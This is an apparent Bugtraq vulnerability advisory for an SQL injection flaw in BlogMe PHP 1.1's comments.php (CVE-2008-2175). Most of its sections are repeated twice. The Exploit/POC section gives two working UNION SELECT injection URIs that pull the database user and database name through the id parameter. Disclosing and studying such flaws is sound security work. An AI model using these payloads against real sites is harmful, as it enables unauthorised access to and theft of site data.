BlogMe PHP 'comments.php' SQL Injection Vulnerability
BID:29030
Info
BlogMe PHP 'comments.php' SQL Injection Vulnerability
| Bugtraq ID: | 29030 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2175 |
| Remote: | Yes |
| Local: | No |
| Published: | May 03 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | His0k4 |
| Vulnerable: |
Gamma Scripts BlogMe PHP 1.1 |
| Not Vulnerable: | |
Discussion
BlogMe PHP 'comments.php' SQL Injection Vulnerability
BlogMe PHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
BlogMe PHP 1.1 is vulnerable; other versions may also be affected.
BlogMe PHP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
BlogMe PHP 1.1 is vulnerable; other versions may also be affected.
Exploit / POC
BlogMe PHP 'comments.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/blogme/comments.php?id=-1 UNION SELECT 1,2,3,4,5,6,aes_decrypt(aes_encrypt(user(),0x71),0x71)--
http://www.example.com/blogme/comments.php?id=-1 UNION SELECT 1,2,unhex(hex(database())),4,5,6,7--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/blogme/comments.php?id=-1 UNION SELECT 1,2,3,4,5,6,aes_decrypt(aes_encrypt(user(),0x71),0x71)--
http://www.example.com/blogme/comments.php?id=-1 UNION SELECT 1,2,unhex(hex(database())),4,5,6,7--
Solution / Fix
BlogMe PHP 'comments.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
BlogMe PHP 'comments.php' SQL Injection Vulnerability
References:
References:
- Gamma Scripts Homepage (Gamma Scripts)